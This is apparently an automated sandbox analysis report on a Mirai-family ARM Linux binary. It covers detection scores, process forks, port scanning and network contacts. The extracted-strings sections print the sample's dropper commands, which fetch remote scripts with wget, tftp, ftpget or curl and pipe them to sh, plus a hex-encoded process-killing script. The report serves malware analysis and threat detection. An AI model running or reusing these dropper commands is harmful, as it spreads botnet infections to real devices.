Edit tour

Linux Analysis Report
t7bAVQ2wpF.elf

Overview

General Information

Sample name:	t7bAVQ2wpF.elf renamed because original name is a hash value
Original sample name:	8e0a09cf1671e5988ee92306eaf9f3ba.elf
Analysis ID:	1432514
MD5:	8e0a09cf1671e5988ee92306eaf9f3ba
SHA1:	c1dbf170739dfc193bcec378cdabc5ac42d49656
SHA256:	582a9ac17eead1eb6737b79c6cd3b27512ca66a42bbcd0785dfb2853fe0a0c43
Tags:	32armelfmirai
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432514
Start date and time:	2024-04-27 11:35:39 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	t7bAVQ2wpF.elf renamed because original name is a hash value
Original Sample Name:	8e0a09cf1671e5988ee92306eaf9f3ba.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/102@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/t7bAVQ2wpF.elf
PID:	5431
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

t7bAVQ2wpF.elf (PID: 5431, Parent: 5357, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/t7bAVQ2wpF.elf

t7bAVQ2wpF.elf New Fork (PID: 5433, Parent: 5431)

t7bAVQ2wpF.elf New Fork (PID: 5435, Parent: 5433)

t7bAVQ2wpF.elf New Fork (PID: 5439, Parent: 5433)

t7bAVQ2wpF.elf New Fork (PID: 5440, Parent: 5433)

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: t7bAVQ2wpF.elf	ReversingLabs: Detection: 57%
Source: t7bAVQ2wpF.elf	Virustotal: Detection: 60%			Perma Link

Source: unknown	TCP traffic detected without corresponding DNS query: 205.185.68.7
Source: unknown	TCP traffic detected without corresponding DNS query: 118.2.94.149
Source: unknown	TCP traffic detected without corresponding DNS query: 130.28.151.176
Source: unknown	TCP traffic detected without corresponding DNS query: 167.255.170.47
Source: unknown	TCP traffic detected without corresponding DNS query: 131.242.196.44
Source: unknown	TCP traffic detected without corresponding DNS query: 116.136.200.97
Source: unknown	TCP traffic detected without corresponding DNS query: 214.194.161.151
Source: unknown	TCP traffic detected without corresponding DNS query: 201.245.214.159
Source: unknown	TCP traffic detected without corresponding DNS query: 31.206.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 27.55.29.204
Source: unknown	TCP traffic detected without corresponding DNS query: 129.188.185.131
Source: unknown	TCP traffic detected without corresponding DNS query: 156.249.247.79
Source: unknown	TCP traffic detected without corresponding DNS query: 174.81.152.76
Source: unknown	TCP traffic detected without corresponding DNS query: 108.171.185.32
Source: unknown	TCP traffic detected without corresponding DNS query: 222.107.126.214
Source: unknown	TCP traffic detected without corresponding DNS query: 148.77.226.9
Source: unknown	TCP traffic detected without corresponding DNS query: 111.216.140.98
Source: unknown	TCP traffic detected without corresponding DNS query: 144.176.176.75
Source: unknown	TCP traffic detected without corresponding DNS query: 168.195.137.13
Source: unknown	TCP traffic detected without corresponding DNS query: 140.155.38.247
Source: unknown	TCP traffic detected without corresponding DNS query: 28.250.160.88
Source: unknown	TCP traffic detected without corresponding DNS query: 49.6.235.97
Source: unknown	TCP traffic detected without corresponding DNS query: 218.236.243.71
Source: unknown	TCP traffic detected without corresponding DNS query: 81.138.8.220
Source: unknown	TCP traffic detected without corresponding DNS query: 181.68.212.178
Source: unknown	TCP traffic detected without corresponding DNS query: 121.115.152.95
Source: unknown	TCP traffic detected without corresponding DNS query: 60.187.81.123
Source: unknown	TCP traffic detected without corresponding DNS query: 167.175.233.46
Source: unknown	TCP traffic detected without corresponding DNS query: 86.222.253.85
Source: unknown	TCP traffic detected without corresponding DNS query: 126.74.106.186
Source: unknown	TCP traffic detected without corresponding DNS query: 85.23.73.119
Source: unknown	TCP traffic detected without corresponding DNS query: 44.99.92.227
Source: unknown	TCP traffic detected without corresponding DNS query: 209.227.169.50
Source: unknown	TCP traffic detected without corresponding DNS query: 125.100.17.248
Source: unknown	TCP traffic detected without corresponding DNS query: 31.147.8.17
Source: unknown	TCP traffic detected without corresponding DNS query: 109.100.158.246
Source: unknown	TCP traffic detected without corresponding DNS query: 61.105.57.84
Source: unknown	TCP traffic detected without corresponding DNS query: 153.160.228.99
Source: unknown	TCP traffic detected without corresponding DNS query: 124.97.190.117
Source: unknown	TCP traffic detected without corresponding DNS query: 30.238.167.53
Source: unknown	TCP traffic detected without corresponding DNS query: 3.43.157.244
Source: unknown	TCP traffic detected without corresponding DNS query: 52.171.122.136
Source: unknown	TCP traffic detected without corresponding DNS query: 223.123.81.26
Source: unknown	TCP traffic detected without corresponding DNS query: 66.188.54.230
Source: unknown	TCP traffic detected without corresponding DNS query: 70.239.6.82
Source: unknown	TCP traffic detected without corresponding DNS query: 153.153.250.226
Source: unknown	TCP traffic detected without corresponding DNS query: 184.93.201.25
Source: unknown	TCP traffic detected without corresponding DNS query: 67.145.108.32
Source: unknown	TCP traffic detected without corresponding DNS query: 216.33.63.14
Source: unknown	TCP traffic detected without corresponding DNS query: 202.175.22.107

Source: t7bAVQ2wpF.elf	String found in binary or memory: http:///curl.sh
Source: t7bAVQ2wpF.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4H

Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5470/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5470/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5460/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5460/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5460/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5460/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5471/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5471/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5461/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5461/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5472/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5472/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5462/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5462/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5473/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5473/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5463/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5463/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5474/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5474/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5464/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5475/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5475/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5465/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5465/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5467/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5467/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5457/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5457/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5468/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5468/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5458/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5458/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5458/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5458/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5469/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5469/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5459/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5459/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5459/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5459/cmdline	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5526/maps	Jump to behavior
Source: /tmp/t7bAVQ2wpF.elf (PID: 5439)	File opened: /proc/5526/cmdline	Jump to behavior

Source: t7bAVQ2wpF.elf, 5431.1.00007fffbd361000.00007fffbd382000.rw-.sdmp, t7bAVQ2wpF.elf, 5435.1.00007fffbd361000.00007fffbd382000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/t7bAVQ2wpF.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/t7bAVQ2wpF.elf
Source: t7bAVQ2wpF.elf, 5431.1.0000556fd751b000.0000556fd7649000.rw-.sdmp, t7bAVQ2wpF.elf, 5435.1.0000556fd751b000.0000556fd7649000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: t7bAVQ2wpF.elf, 5431.1.00007fffbd361000.00007fffbd382000.rw-.sdmp, t7bAVQ2wpF.elf, 5435.1.00007fffbd361000.00007fffbd382000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: t7bAVQ2wpF.elf, 5431.1.0000556fd751b000.0000556fd7649000.rw-.sdmp, t7bAVQ2wpF.elf, 5435.1.0000556fd751b000.0000556fd7649000.rw-.sdmp	Binary or memory string: oU!/etc/qemu-binfmt/arm

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
t7bAVQ2wpF.elf	58%	ReversingLabs	Linux.Trojan.Mirai
t7bAVQ2wpF.elf	60%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http:///wget.sh	0%	Avira URL Cloud	safe
http:///curl.sh	0%	Avira URL Cloud	safe

IP	Domain	Country	ASN	ASN Name	Malicious
77.193.137.242	unknown	France	15557	LDCOMNETFR	false
116.53.189.166	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
109.237.82.145	unknown	Ukraine	16066	TEST-UA	false
130.103.179.161	unknown	United States	24436	UQ-AS-APUniversityofQueenslandAU	false
88.160.219.206	unknown	France	12322	PROXADFR	false
209.75.16.231	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
78.237.80.193	unknown	France	12322	PROXADFR	false
181.6.236.63	unknown	Argentina	7303	TelecomArgentinaSAAR	false
97.200.223.7	unknown	United States	6167	CELLCO-PARTUS	false
151.139.81.128	unknown	United States	33438	HIGHWINDS2US	false
221.249.81.39	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
108.8.165.60	unknown	United States	701	UUNETUS	false
129.113.53.239	unknown	United States	11481	AS-UTRGVUS	false
206.143.110.167	unknown	United States	7991	CENTURYLINK-LEGACY-SAVVIS-ASIA-TRANSITUS	false
46.221.135.216	unknown	Turkey	15897	VODAFONETURKEYTR	false
193.252.198.141	unknown	France	3215	FranceTelecom-OrangeFR	false
205.247.36.45	unknown	United States	3257	GTT-BACKBONEGTTDE	false
97.170.164.116	unknown	United States	6167	CELLCO-PARTUS	false
212.196.194.3	unknown	United Kingdom	49392	ASBAXETNRU	false
115.45.240.51	unknown	China	17962	TOPWAY-NETShenZhenTopwayVideoCommunicationCoLtdCN	false
146.215.194.118	unknown	United States	9619	SSDSonyGlobalSolutionsIncJP	false
167.159.81.168	unknown	United States	16988	IPAPERUS	false
186.98.64.126	unknown	Colombia	701	UUNETUS	false
157.66.147.146	unknown	unknown	4713	OCNNTTCommunicationsCorporationJP	false
131.126.136.188	unknown	United States	668	DNIC-AS-00668US	false
112.6.22.221	unknown	China	24444	CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany	false
44.197.63.207	unknown	United States	14618	AMAZON-AESUS	false
190.167.116.29	unknown	Dominican Republic	6400	CompaniaDominicanadeTelefonosSADO	false
25.80.247.121	unknown	United Kingdom	7922	COMCAST-7922US	false
194.23.170.96	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
33.180.114.247	unknown	United States	2686	ATGS-MMD-ASUS	false
145.196.170.148	unknown	Netherlands	1101	IP-EEND-ASIP-EENDBVNL	false
195.133.30.59	unknown	Russian Federation	21453	FLEX-ASRU	false
138.243.222.107	unknown	Japan	23779	N-BONENTTCommunicationsCorporationJP	false
135.83.217.195	unknown	United States	18676	AVAYAUS	false
152.231.87.167	unknown	Chile	6471	ENTELCHILESACL	false
36.62.184.105	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
124.75.182.78	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
15.137.198.234	unknown	United States	71	HP-INTERNET-ASUS	false
15.172.24.133	unknown	United States	71	HP-INTERNET-ASUS	false
130.41.156.146	unknown	United States	243	HARRIS-ATD-ASUS	false
60.236.52.82	unknown	Japan	2518	BIGLOBEBIGLOBEIncJP	false
108.196.42.60	unknown	United States	7018	ATT-INTERNET4US	false
12.68.75.145	unknown	United States	7018	ATT-INTERNET4US	false
96.218.105.205	unknown	United States	7922	COMCAST-7922US	false
21.75.220.137	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
219.231.162.205	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
167.48.50.56	unknown	Canada	2665	CDAGOVNCA	false
101.75.58.165	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
93.24.196.171	unknown	France	15557	LDCOMNETFR	false
75.127.46.134	unknown	United States	26410	PTPAUS	false
199.74.201.116	unknown	United States	19773	MOTOROLAUS	false
148.47.43.17	unknown	United States	6400	CompaniaDominicanadeTelefonosSADO	false
108.170.53.155	unknown	United States	20454	SSASN2US	false
49.89.20.242	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
27.76.229.85	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
111.3.89.72	unknown	China	56041	CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC	false
57.231.246.91	unknown	Belgium	2686	ATGS-MMD-ASUS	false
136.164.227.226	unknown	Norway	42175	STAOIL-ASNO	false
203.182.200.177	unknown	Japan	4673	INTERVIANTTDATACORPORATIONJP	false
121.205.50.10	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
22.85.241.8	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.55.99.153	unknown	United States	16509	AMAZON-02US	false
126.67.142.137	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
5.122.194.107	unknown	Iran (ISLAMIC Republic Of)	44244	IRANCELL-ASIR	false
81.251.39.141	unknown	France	3215	FranceTelecom-OrangeFR	false
119.160.96.205	unknown	Pakistan	45669	MOBILINK-AS-PKPMCLLDIIPTRANSITPK	false
135.71.20.251	unknown	United States	18676	AVAYAUS	false
108.213.242.126	unknown	United States	7018	ATT-INTERNET4US	false
8.195.191.237	unknown	United States	3356	LEVEL3US	false
29.47.99.140	unknown	United States	7922	COMCAST-7922US	false
187.125.56.253	unknown	Brazil	7738	TelemarNorteLesteSABR	false
31.66.74.248	unknown	United Kingdom	12576	EELtdGB	false
14.40.23.202	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
53.47.79.61	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
88.161.19.168	unknown	France	12322	PROXADFR	false
160.49.161.181	unknown	Germany	2381	WISCNET1-ASUS	false
4.114.5.244	unknown	United States	3356	LEVEL3US	false
124.43.207.173	unknown	Sri Lanka	9329	SLTINT-AS-APSriLankaTelecomInternetLK	false
31.219.195.155	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
169.45.228.62	unknown	United States	36351	SOFTLAYERUS	false
68.163.45.154	unknown	United States	701	UUNETUS	false
136.133.189.67	unknown	United States	60311	ONEFMCH	false
97.87.132.20	unknown	United States	20115	CHARTER-20115US	false
95.180.166.221	unknown	Macedonia	34772	NEOTEL-AS-MK	false
148.105.207.92	unknown	United States	14782	THEROCKETSCIENCEGROUPUS	false
192.218.132.190	unknown	Japan	131158	NAIST-ASNaraInstituteofScienceandTechnologyNational	false
144.11.229.52	unknown	United States	58541	CHINATELECOM-SHANDONG-QINGDAO-IDCQingdao266000CN	false
102.212.223.141	unknown	unknown	36926	CKL1-ASNKE	false
168.247.96.49	unknown	United States	14725	AS14725US	false
196.219.152.41	unknown	Egypt	8452	TE-ASTE-ASEG	false
93.184.79.14	unknown	Slovakia (SLOVAK Republic)	29405	VNET-ASSK	false
136.148.86.22	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
95.65.241.44	unknown	Turkey	8386	KOCNETTR	false
70.44.207.129	unknown	United States	3737	AS-PTDUS	false
35.255.68.137	unknown	United States	3549	LVLT-3549US	false
23.199.18.242	unknown	United States	20940	AKAMAI-ASN1EU	false
83.191.221.92	unknown	Sweden	39651	COMHEM-SWEDENSE	false
165.214.212.208	unknown	United States	14454	PERIMETER-ESECURITYUS	false
1.26.211.236	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
193.252.198.141	etjbEZA6j4	Get hash	malicious	Mirai	Browse
108.196.42.60	hLeZGGOlsc.elf	Get hash	malicious	Mirai	Browse
167.159.81.168	cutie.x86_64.elf	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chinklabs.dyn	ZrNKORUSI5.elf	Get hash	malicious	Mirai	Browse	5.181.80.60
	MUm3efxWut.elf	Get hash	malicious	Unknown	Browse	86.104.194.181
	dFEcw9JTaO.elf	Get hash	malicious	Mirai	Browse	204.76.203.223

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UQ-AS-APUniversityofQueenslandAU	ZMDO0vznFx.elf	Get hash	malicious	Unknown	Browse	130.102.124.212
	TaNoeG7qKG.elf	Get hash	malicious	Mirai	Browse	130.102.189.246
	6UN4xYCTnf.elf	Get hash	malicious	Mirai	Browse	130.103.51.150
	2kTGuwknkD.elf	Get hash	malicious	Unknown	Browse	131.244.237.172
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	131.244.225.22
	IZ4Om6WI3Q.elf	Get hash	malicious	Unknown	Browse	130.103.27.21
	Va3dE9D7TT.elf	Get hash	malicious	Mirai	Browse	130.103.27.49
	mpsl.elf	Get hash	malicious	Mirai	Browse	131.244.225.47
	skyljne.x86.elf	Get hash	malicious	Mirai	Browse	130.103.51.181
	bn0b3xlHFZ.elf	Get hash	malicious	Mirai, Moobot	Browse	131.244.225.82
PROXADFR	ZrNKORUSI5.elf	Get hash	malicious	Mirai	Browse	91.162.47.87
	Kryl6TWwj6.elf	Get hash	malicious	Mirai	Browse	88.162.52.255
	fwkeLXlthW.elf	Get hash	malicious	Unknown	Browse	78.236.83.125
	fbW42zYly3.elf	Get hash	malicious	Mirai	Browse	88.187.10.149
	GcOeQTPzrh.elf	Get hash	malicious	Unknown	Browse	78.197.225.152
	1B7E3FLOXC.elf	Get hash	malicious	Unknown	Browse	88.189.112.222
	EdO1baKdpe.elf	Get hash	malicious	Mirai	Browse	88.175.244.91
	01EF8hZ6ib.elf	Get hash	malicious	Unknown	Browse	78.210.73.78
	sQSqM58mvl.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	82.234.13.82
	dwn1cGHIbV.elf	Get hash	malicious	Mirai	Browse	78.211.212.41
LDCOMNETFR	Kryl6TWwj6.elf	Get hash	malicious	Mirai	Browse	77.158.39.166
	O93vO719Sn.elf	Get hash	malicious	Unknown	Browse	93.1.102.180
	spQm3NLQtH.elf	Get hash	malicious	Unknown	Browse	93.18.225.241
	x1b5bmJgLm.elf	Get hash	malicious	Unknown	Browse	92.90.250.11
	3rU5FsjiS4.elf	Get hash	malicious	Unknown	Browse	92.93.24.62
	kiEexlEvM2.elf	Get hash	malicious	Unknown	Browse	109.12.57.96
	GcOeQTPzrh.elf	Get hash	malicious	Unknown	Browse	93.5.186.182
	EdO1baKdpe.elf	Get hash	malicious	Mirai	Browse	109.20.187.29
	sQSqM58mvl.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	93.29.157.105
	0tfJECfbEP.elf	Get hash	malicious	Mirai	Browse	77.136.247.70
CHINANET-BACKBONENo31Jin-rongStreetCN	MwPM17s9Mb.elf	Get hash	malicious	Mirai	Browse	59.59.246.92
	ZrNKORUSI5.elf	Get hash	malicious	Mirai	Browse	125.111.210.133
	MUm3efxWut.elf	Get hash	malicious	Unknown	Browse	139.205.62.154
	Kryl6TWwj6.elf	Get hash	malicious	Mirai	Browse	223.215.88.2
	O93vO719Sn.elf	Get hash	malicious	Unknown	Browse	218.94.218.182
	fwkeLXlthW.elf	Get hash	malicious	Unknown	Browse	115.211.231.240
	spQm3NLQtH.elf	Get hash	malicious	Unknown	Browse	121.207.117.114
	x1b5bmJgLm.elf	Get hash	malicious	Unknown	Browse	171.8.17.99
	3rU5FsjiS4.elf	Get hash	malicious	Unknown	Browse	171.209.7.170
	FZAuI72f4q.elf	Get hash	malicious	Unknown	Browse	120.41.214.68

Process:	/tmp/t7bAVQ2wpF.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	283
Entropy (8bit):	3.2163809902312575
Encrypted:	false
SSDEEP:	6:+gceFXwj/V/ceFXrZvCY/VlT/VjmsVot/VOArB/VH:+9eG6eml
MD5:	E1F131DC2D2D97EA6402A72B859642C7
SHA1:	31CB042C70107391425C5D65F9174001832BB5C7
SHA-256:	A0FC6EC495E255EEE9CA7F38444074BDC810A15DE286314615E71025D64DB696
SHA-512:	E559C91443C57D77559454455249A92C7CD9A55FB2B8EB8D504ADC51A06315F7991E79B50710C8EE9259350763A9BCF11168E409DEF1D065ED683334001E4291
Malicious:	false
Reputation:	low
Preview:	8000-12000 r-xp 00000000 fd:00 531567 /tmp/..1a000-1b000 rw-p 0000a000 fd:00 531567 /tmp/..1b000-1d000 rw-p 00000000 00:00 0 .1d000-1e000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.047235368090148
